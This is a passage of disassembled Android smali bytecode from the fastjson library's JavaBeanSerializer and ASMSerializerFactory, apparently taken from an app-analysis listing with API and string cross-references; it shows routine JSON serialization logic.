                                                116sget-object v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->IgnoreNonFieldGetter:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                118invoke-virtual {v12, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                119move-result v18
                                                120move/from16 v19, v0
                                                121const/4 v3, 0x0
                                                122goto_ac: array-length v0, v13
                                                123try_end_ad: if-ge v3, v0, :cond_27d
                                                124try_start_af: aget-object v2, v13, v3
                                                126iget-object v0, v2, Lcom/alibaba/fastjson/serializer/FieldSerializer;->fieldInfo:Lcom/alibaba/fastjson/util/FieldInfo;
                                                128iget-object v0, v0, Lcom/alibaba/fastjson/util/FieldInfo;->field:Ljava/lang/reflect/Field;
                                                130iget-object v1, v2, Lcom/alibaba/fastjson/serializer/FieldSerializer;->fieldInfo:Lcom/alibaba/fastjson/util/FieldInfo;
                                                132iget-object v10, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                133try_end_b9: move-object/from16 v20, v14
                                                134try_start_bb:
                                                135iget-object v14, v1, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                136try_end_bd: if-eqz v17, :cond_ce
                                                137if-eqz v0, :cond_ce
                                                138try_start_c1: iget-boolean v4, v1, Lcom/alibaba/fastjson/util/FieldInfo;->fieldTransient:Z
                                                139try_end_c3: if-eqz v4, :cond_ce
                                                140goto/16 :goto_d2
                                                141catchall_c6: move-exception v0
                                                142move-object v1, v7
                                                143goto/16 :goto_2ad
                                                144catch_ca: move-exception v0
                                                145move-object v1, v7
                                                146goto/16 :goto_2b1
                                                147cond_ce: if-eqz v18, :cond_de
                                                148if-nez v0, :cond_de
                                                149cond_d2: move/from16 v23, v3
                                                150move-object/from16 v22, v13
                                                151move/from16 v21, v15
                                                152const/4 v3, 0x1
                                                153const/4 v4, 0x0
                                                154const/16 v7, 0x2c
                                                155goto/16 :goto_25b
                                                156try_start_de:
                                                157iget-object v0, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                159invoke-virtual {v7, v8, v9, v0}, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;->applyName(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;Ljava/lang/String;)Z
                                                160move-result v0
                                                161if-eqz v0, :cond_d2
                                                163iget-object v0, v1, Lcom/alibaba/fastjson/util/FieldInfo;->label:Ljava/lang/String;
                                                165invoke-virtual {v7, v8, v0}, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;->applyLabel(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/String;)Z
                                                166move-result v0
                                                167try_end_ec: if-nez v0, :cond_ef
                                                168goto/16 :goto_d2
                                                169cond_ef:
                                                170invoke-virtual {v2, v9}, Lcom/alibaba/fastjson/serializer/FieldSerializer;->getPropertyValue(Ljava/lang/Object;)Ljava/lang/Object;
                                                171move-result-object v0
                                                172try_end_f3: goto/16 :goto_ff
                                                173catch_f4: move-exception v0
                                                174move-object v4, v0
                                                175try_start_f6:
                                                176sget-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->IgnoreErrorGetter:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                178invoke-virtual {v12, v0}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                179move-result v0
                                                180if-eqz v0, :cond_25a
                                                181const/4 v0, 0x0
                                                182goto_ff:
                                                183invoke-virtual {v7, v8, v9, v10, v0}, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;->apply(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;Ljava/lang/String;Ljava/lang/Object;)Z
                                                184move-result v4
                                                185if-nez v4, :cond_106
                                                186goto/16 :goto_d2
                                                187cond_106:
                                                188invoke-virtual {v7, v8, v9, v10, v0}, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;->processKey(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/String;
                                                189move-result-object v4
                                                191iget-object v5, v2, Lcom/alibaba/fastjson/serializer/FieldSerializer;->fieldContext:Lcom/alibaba/fastjson/serializer/BeanContext;
                                                192move/from16 v21, v15
                                                193move-object v15, v1
                                                194move-object/from16 v1, p0
                                                195move-object/from16 v22, v13
                                                196move-object v13, v2
                                                197move-object/from16 v2, p1
                                                198move/from16 v23, v3
                                                199move-object v3, v5
                                                200move-object v5, v4
                                                201const/16 v7, 0x2c
                                                202move-object/from16 v4, p2
                                                203move-object/from16 v24, v5
                                                204move-object v5, v10
                                                205move-object v6, v0
                                                207invoke-virtual/range {v1 .. v6}, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;->processValue(Lcom/alibaba/fastjson/serializer/JSONSerializer;Lcom/alibaba/fastjson/serializer/BeanContext;Ljava/lang/Object;Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/Object;
                                                208move-result-object v1
                                                209if-nez v1, :cond_13a
                                                210if-nez v11, :cond_13a
                                                211iget-boolean v2, v13, Lcom/alibaba/fastjson/serializer/FieldSerializer;->writeNull:Z
                                                212if-nez v2, :cond_13a
                                                213sget v2, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WRITE_MAP_NULL_FEATURES:I
                                                215invoke-virtual {v12, v2}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(I)Z
                                                216move-result v2
                                                217if-nez v2, :cond_13a
                                                218goto_136: const/4 v3, 0x1
                                                219const/4 v4, 0x0
                                                220goto/16 :goto_25b
                                                221cond_13a: if-eqz v1, :cond_1cd
                                                222iget-boolean v2, v12, Lcom/alibaba/fastjson/serializer/SerializeWriter;->notWriteDefaultValue:Z
                                                223if-eqz v2, :cond_1cd
                                                225iget-object v2, v15, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                227sget-object v3, Ljava/lang/Byte;->TYPE:Ljava/lang/Class;
                                                228if-ne v2, v3, :cond_154
                                                229instance-of v3, v1, Ljava/lang/Byte;
                                                230if-eqz v3, :cond_154
                                                231move-object v3, v1
                                                232check-cast v3, Ljava/lang/Byte;
                                                234invoke-virtual {v3}, Ljava/lang/Byte;->byteValue()B
                                                235move-result v3
                                                236if-nez v3, :cond_154
                                                237goto/16 :goto_136
                                                238cond_154:
                                                239sget-object v3, Ljava/lang/Short;->TYPE:Ljava/lang/Class;
                                                240if-ne v2, v3, :cond_166
                                                241instance-of v3, v1, Ljava/lang/Short;
                                                242if-eqz v3, :cond_166
                                                243move-object v3, v1
                                                244check-cast v3, Ljava/lang/Short;
                                                246invoke-virtual {v3}, Ljava/lang/Short;->shortValue()S
                                                247move-result v3
                                                248if-nez v3, :cond_166
                                                249goto/16 :goto_136
                                                250cond_166:
                                                251sget-object v3, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                                                252if-ne v2, v3, :cond_178
                                                253instance-of v3, v1, Ljava/lang/Integer;
                                                254if-eqz v3, :cond_178
                                                255move-object v3, v1
                                                256check-cast v3, Ljava/lang/Integer;
                                                258invoke-virtual {v3}, Ljava/lang/Integer;->intValue()I
                                                259move-result v3
                                                260if-nez v3, :cond_178
                                                261goto/16 :goto_136
                                                262cond_178:
                                                263sget-object v3, Ljava/lang/Long;->TYPE:Ljava/lang/Class;
                                                264if-ne v2, v3, :cond_18e
                                                265instance-of v3, v1, Ljava/lang/Long;
                                                266if-eqz v3, :cond_18e
                                                267move-object v3, v1
                                                268check-cast v3, Ljava/lang/Long;
                                                270invoke-virtual {v3}, Ljava/lang/Long;->longValue()J
                                                271move-result-wide v3
                                                272const-wide/16 v5, 0x0
                                                273cmp-long v25, v3, v5
                                                274if-nez v25, :cond_18e
                                                275goto/16 :goto_136
                                                276cond_18e:
                                                277sget-object v3, Ljava/lang/Float;->TYPE:Ljava/lang/Class;
                                                278if-ne v2, v3, :cond_1a3
                                                279instance-of v3, v1, Ljava/lang/Float;
                                                280if-eqz v3, :cond_1a3
                                                281move-object v3, v1
                                                282check-cast v3, Ljava/lang/Float;
                                                284invoke-virtual {v3}, Ljava/lang/Float;->floatValue()F
                                                285move-result v3
                                                286const/4 v4, 0x0
                                                287cmpl-float v3, v3, v4
                                                288if-nez v3, :cond_1a3
                                                289goto/16 :goto_136
                                                290cond_1a3:
                                                291sget-object v3, Ljava/lang/Double;->TYPE:Ljava/lang/Class;
                                                292if-ne v2, v3, :cond_1ba
                                                293instance-of v3, v1, Ljava/lang/Double;
                                                294if-eqz v3, :cond_1ba
                                                295move-object v3, v1
                                                296check-cast v3, Ljava/lang/Double;
                                                298invoke-virtual {v3}, Ljava/lang/Double;->doubleValue()D
                                                299move-result-wide v3
                                                300const-wide/16 v5, 0x0
                                                301cmpl-double v25, v3, v5
                                                302if-nez v25, :cond_1ba
                                                303goto/16 :goto_136
                                                304cond_1ba:
                                                305sget-object v3, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                                                306if-ne v2, v3, :cond_1cd
                                                307instance-of v2, v1, Ljava/lang/Boolean;
                                                308if-eqz v2, :cond_1cd
                                                309move-object v2, v1
                                                310check-cast v2, Ljava/lang/Boolean;
                                                312invoke-virtual {v2}, Ljava/lang/Boolean;->booleanValue()Z
                                                313move-result v2
                                                314if-nez v2, :cond_1cd
                                                315goto/16 :goto_136
                                                316cond_1cd: if-eqz v19, :cond_1dd
                                                318invoke-virtual {v12, v7}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                320sget-object v2, Lcom/alibaba/fastjson/serializer/SerializerFeature;->PrettyFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                322invoke-virtual {v12, v2}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                323move-result v2
                                                324if-eqz v2, :cond_1dd
                                                326invoke-virtual/range {p1 .. p1}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->println()V
                                                327cond_1dd: move-object/from16 v2, v24
                                                328if-eq v2, v10, :cond_1ef
                                                329if-nez v11, :cond_1e8
                                                330const/4 v3, 0x1
                                                332invoke-virtual {v12, v2, v3}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeFieldName(Ljava/lang/String;Z)V
                                                333goto/16 :goto_1e9
                                                334cond_1e8: const/4 v3, 0x1
                                                335goto_1e9:
                                                336invoke-virtual {v8, v1}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->write(Ljava/lang/Object;)V
                                                337goto_1ec: const/4 v4, 0x0
                                                338goto/16 :goto_257
                                                339cond_1ef: const/4 v3, 0x1
                                                340if-eq v0, v1, :cond_1fb
                                                341if-nez v11, :cond_1f7
                                                343invoke-virtual {v13, v8}, Lcom/alibaba/fastjson/serializer/FieldSerializer;->writePrefix(Lcom/alibaba/fastjson/serializer/JSONSerializer;)V
                                                344cond_1f7:
                                                345invoke-virtual {v8, v1}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->write(Ljava/lang/Object;)V
                                                346goto/16 :goto_1ec
                                                347cond_1fb: if-nez v11, :cond_20e
                                                348if-eqz v16, :cond_209
                                                350iget-object v0, v15, Lcom/alibaba/fastjson/util/FieldInfo;->name_chars:[C
                                                352iget-object v2, v15, Lcom/alibaba/fastjson/util/FieldInfo;->name_chars:[C
                                                353array-length v2, v2
                                                354const/4 v4, 0x0
                                                356invoke-virtual {v12, v0, v4, v2}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write([CII)V
                                                357goto/16 :goto_20f
                                                358cond_209: const/4 v4, 0x0
                                                360invoke-virtual {v13, v8}, Lcom/alibaba/fastjson/serializer/FieldSerializer;->writePrefix(Lcom/alibaba/fastjson/serializer/JSONSerializer;)V
                                                361goto/16 :goto_20f
                                                362cond_20e: const/4 v4, 0x0
                                                363goto_20f: if-nez v11, :cond_254
                                                365invoke-virtual {v15}, Lcom/alibaba/fastjson/util/FieldInfo;->getAnnotation()Lcom/alibaba/fastjson/annotation/JSONField;
                                                366move-result-object v0
                                                367const-class v2, Ljava/lang/String;
                                                368if-ne v14, v2, :cond_250
                                                369if-eqz v0, :cond_223
                                                371invoke-interface {v0}, Lcom/alibaba/fastjson/annotation/JSONField;->serializeUsing()Ljava/lang/Class;
                                                372move-result-object v0
                                                373const-class v2, Ljava/lang/Void;
                                                374if-ne v0, v2, :cond_250
                                                375cond_223: if-nez v1, :cond_242
                                                376iget v0, v12, Lcom/alibaba/fastjson/serializer/SerializeWriter;->features:I
                                                378sget-object v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteNullStringAsEmpty:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                379iget v1, v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->mask:I
                                                380and-int/2addr v0, v1
                                                381if-nez v0, :cond_23c
                                                382iget v0, v13, Lcom/alibaba/fastjson/serializer/FieldSerializer;->features:I
                                                384sget-object v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteNullStringAsEmpty:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                385iget v1, v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->mask:I
                                                386and-int/2addr v0, v1
                                                387if-eqz v0, :cond_238
                                                388goto/16 :goto_23c
                                                389cond_238:
                                                390invoke-virtual {v12}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeNull()V
                                                391goto/16 :goto_257
                                                392cond_23c:
                                                393const-string v0, ""
                                                395invoke-virtual {v12, v0}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeString(Ljava/lang/String;)V
                                                396goto/16 :goto_257
                                                397cond_242: check-cast v1, Ljava/lang/String;
                                                398iget-boolean v0, v12, Lcom/alibaba/fastjson/serializer/SerializeWriter;->useSingleQuotes:Z
                                                399if-eqz v0, :cond_24c
                                                401invoke-virtual {v12, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeStringWithSingleQuote(Ljava/lang/String;)V
                                                402goto/16 :goto_257
                                                403cond_24c:
                                                404invoke-virtual {v12, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeStringWithDoubleQuote(Ljava/lang/String;C)V
                                                405goto/16 :goto_257
                                                406cond_250:
                                                407invoke-virtual {v13, v8, v1}, Lcom/alibaba/fastjson/serializer/FieldSerializer;->writeValue(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;)V
                                                408goto/16 :goto_257
                                                409cond_254:
                                                410invoke-virtual {v13, v8, v1}, Lcom/alibaba/fastjson/serializer/FieldSerializer;->writeValue(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;)V
                                                411goto_257: const/16 v19, 0x1
                                                412goto/16 :goto_25b
                                                413cond_25a: throw v4
                                                414try_end_25b: add-int/lit8 v0, v23, 0x1
                                                415move-object/from16 v7, p0
                                                416move-object/from16 v10, p3
                                                417move v3, v0
                                                418move-object/from16 v14, v20
                                                419move/from16 v15, v21
                                                420move-object/from16 v13, v22
                                                421const/16 v4, 0x2c
                                                422const/4 v6, 0x1
                                                423goto/16 :goto_ac
                                                424catchall_26d: move-exception v0
                                                425move-object/from16 v1, p0
                                                426goto/16 :goto_2ad
                                                427catch_271: move-exception v0
                                                428move-object/from16 v1, p0
                                                429goto/16 :goto_2b1
                                                430catchall_275: move-exception v0
                                                431move-object/from16 v1, p0
                                                432goto/16 :goto_2b6
                                                433catch_279: move-exception v0
                                                434move-object/from16 v1, p0
                                                435goto/16 :goto_2ba
                                                436cond_27d: move-object/from16 v22, v13
                                                437move-object/from16 v20, v14
                                                438move/from16 v21, v15
                                                439const/4 v4, 0x0
                                                440const/16 v7, 0x2c
                                                441if-eqz v19, :cond_28a
                                                442const/16 v4, 0x2c
                                                443cond_28a: move-object/from16 v1, p0
                                                444try_start_28c:
                                                445invoke-virtual {v1, v8, v9, v4}, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;->writeAfter(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;C)C
                                                446move-object/from16 v2, v22
                                                447array-length v0, v2
                                                448if-lez v0, :cond_2a2
                                                450sget-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->PrettyFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                452invoke-virtual {v12, v0}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                453move-result v0
                                                454if-eqz v0, :cond_2a2
                                                456invoke-virtual/range {p1 .. p1}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->decrementIdent()V
                                                458invoke-virtual/range {p1 .. p1}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->println()V
                                                459cond_2a2: move/from16 v2, v21
                                                461invoke-virtual {v12, v2}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->append(C)Lcom/alibaba/fastjson/serializer/SerializeWriter;
                                                462try_end_2a7: move-object/from16 v2, v20
                                                463iput-object v2, v8, Lcom/alibaba/fastjson/serializer/JSONSerializer;->context:Lcom/alibaba/fastjson/serializer/SerialContext;
                                                464return-void
                                                465catchall_2ac: move-exception v0
                                                466goto_2ad: move-object/from16 v2, v20
                                                467goto/16 :goto_319
                                                468catch_2b0: move-exception v0
                                                469goto_2b1: move-object/from16 v2, v20
                                                470goto/16 :goto_2bb
                                                471catchall_2b4: move-exception v0
                                                472move-object v1, v7
                                                473goto_2b6: move-object v2, v14
                                                474goto/16 :goto_319
                                                475catch_2b8: move-exception v0
                                                476move-object v1, v7
                                                477goto_2ba: move-object v2, v14
                                                478try_start_2bb:
                                                479const-string v3, "write javaBean error"
                                                480if-eqz v9, :cond_2db
                                                481new-instance v4, Ljava/lang/StringBuilder;
                                                483invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                485invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                487const-string v3, ", class "
                                                489invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                491invoke-virtual/range {p2 .. p2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                492move-result-object v3
                                                494invoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                495move-result-object v3
                                                497invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                499invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                500move-result-object v3
                                                501cond_2db: move-object v4, v3
                                                502move-object/from16 v3, p3
                                                503if-eqz v3, :cond_2f4
                                                504new-instance v5, Ljava/lang/StringBuilder;
                                                506invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                508invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                510const-string v4, ", fieldName : "
                                                512invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                514invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                516invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                517move-result-object v4
                                                518cond_2f4:
                                                519invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                                520move-result-object v3
                                                521if-eqz v3, :cond_312
                                                522new-instance v3, Ljava/lang/StringBuilder;
                                                524invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                526invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                528const-string v4, ", "
                                                530invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                532invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                                533move-result-object v4
                                                535invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                537invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                538move-result-object v4
                                                539cond_312: new-instance v3, Lcom/alibaba/fastjson/JSONException;
                                                541invoke-direct {v3, v4, v0}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                542throw v3
                                                543catchall_318: move-exception v0
                                                544goto_319: iput-object v2, v8, Lcom/alibaba/fastjson/serializer/JSONSerializer;->context:Lcom/alibaba/fastjson/serializer/SerialContext;
                                                545goto/16 :goto_31d
                                                546goto_31c: throw v0
                                                547goto_31d: goto/16 :goto_31c
                                                Cross References
                                                APIs
                                                • java.lang.Class.getModifiers
                                                • java.lang.reflect.Modifier.isPublic
                                                • com.alibaba.fastjson.serializer.SerializerFeature.BeanToArray:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.isPrimitive
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                Strings
                                                • object
                                                • out
                                                • seperator
                                                • write
                                                • (I)V
                                                • Ljava/lang/reflect/Type;
                                                • _asm_fieldType
                                                • java/lang/Object
                                                • getClass
                                                • ()Ljava/lang/Class;
                                                • fied_ser
                                                • writeAsArrayNonContext
                                                • writeDirectNonContext
                                                • writeAsArray
                                                • (L
                                                • ;Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V
                                                • writeWithFormat
                                                • (Ljava/lang/Object;Ljava/lang/String;)V
                                                • writeWithFieldName
                                                • (Ljava/lang/Object;Ljava/lang/Object;)V
                                                • (Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V
                                                Position Instruction Meta Information
                                                0move-object/from16 v0, p0
                                                1move-object/from16 v1, p1
                                                2move-object/from16 v2, p2
                                                3move-object/from16 v3, p3
                                                5invoke-virtual/range {p2 .. p2}, Lcom/alibaba/fastjson/util/FieldInfo;->getFormat()Ljava/lang/String;
                                                6move-result-object v4
                                                8iget-object v5, v2, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                9new-instance v6, Lcom/alibaba/fastjson/asm/Label;
                                                11invoke-direct {v6}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                13invoke-static/range {p3 .. p3}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$000(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                14move-result v7
                                                16const-string v8, "object"
                                                17const/16 v9, 0x19
                                                18if-eqz v7, :cond_25
                                                20invoke-virtual {v3, v8}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                21move-result v7
                                                23invoke-interface {v1, v9, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                24goto/16 :goto_2a
                                                25cond_25: sget v7, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->processValue:I
                                                27invoke-interface {v1, v9, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                28goto_2a: const/16 v7, 0x59
                                                30invoke-interface {v1, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                32invoke-virtual {v3, v8}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                33move-result v7
                                                34const/16 v10, 0x3a
                                                36invoke-interface {v1, v10, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                37const/16 v7, 0xc7
                                                39invoke-interface {v1, v7, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                41invoke-direct/range {p0 .. p3}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_if_write_null(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)V
                                                42const/16 v7, 0xa7
                                                43move-object/from16 v11, p4
                                                45invoke-interface {v1, v7, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                47invoke-interface {v1, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                49const-string v6, "out"
                                                51invoke-virtual {v3, v6}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                52move-result v6
                                                54invoke-interface {v1, v9, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                55const/16 v6, 0x15
                                                57const-string v11, "seperator"
                                                59invoke-virtual {v3, v11}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                60move-result v11
                                                62invoke-interface {v1, v6, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                64sget-object v6, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                66const-string v11, "write"
                                                67const/16 v12, 0xb6
                                                69const-string v13, "(I)V"
                                                71invoke-interface {v1, v12, v6, v11, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                73invoke-direct {v0, v1, v3}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_writeFieldName(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)V
                                                74new-instance v6, Lcom/alibaba/fastjson/asm/Label;
                                                76invoke-direct {v6}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                77new-instance v13, Lcom/alibaba/fastjson/asm/Label;
                                                79invoke-direct {v13}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                81invoke-virtual {v5}, Ljava/lang/Class;->getModifiers()I
                                                82move-result v14
                                                84invoke-static {v14}, Ljava/lang/reflect/Modifier;->isPublic(I)Z
                                                85move-result v14
                                                87const-string v15, "Ljava/lang/reflect/Type;"
                                                89const-string v7, "_asm_fieldType"
                                                90if-eqz v14, :cond_1d9
                                                92invoke-static {v5}, Lcom/alibaba/fastjson/parser/ParserConfig;->isPrimitive(Ljava/lang/Class;)Z
                                                93move-result v14
                                                94if-nez v14, :cond_1d9
                                                96invoke-virtual {v3, v8}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                97move-result v14
                                                99invoke-interface {v1, v9, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                101const-string v14, "java/lang/Object"
                                                103const-string v10, "getClass"
                                                105const-string v9, "()Ljava/lang/Class;"
                                                107invoke-interface {v1, v12, v14, v10, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                109invoke-static {v5}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                110move-result-object v5
                                                112invoke-static {v5}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                113move-result-object v5
                                                115invoke-interface {v1, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                116const/16 v5, 0xa6
                                                118invoke-interface {v1, v5, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                120invoke-direct {v0, v3, v1, v2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_getFieldSer(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                122const-string v5, "fied_ser"
                                                124invoke-virtual {v3, v5}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                125move-result v9
                                                126const/16 v10, 0x3a
                                                128invoke-interface {v1, v10, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                129new-instance v9, Lcom/alibaba/fastjson/asm/Label;
                                                131invoke-direct {v9}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
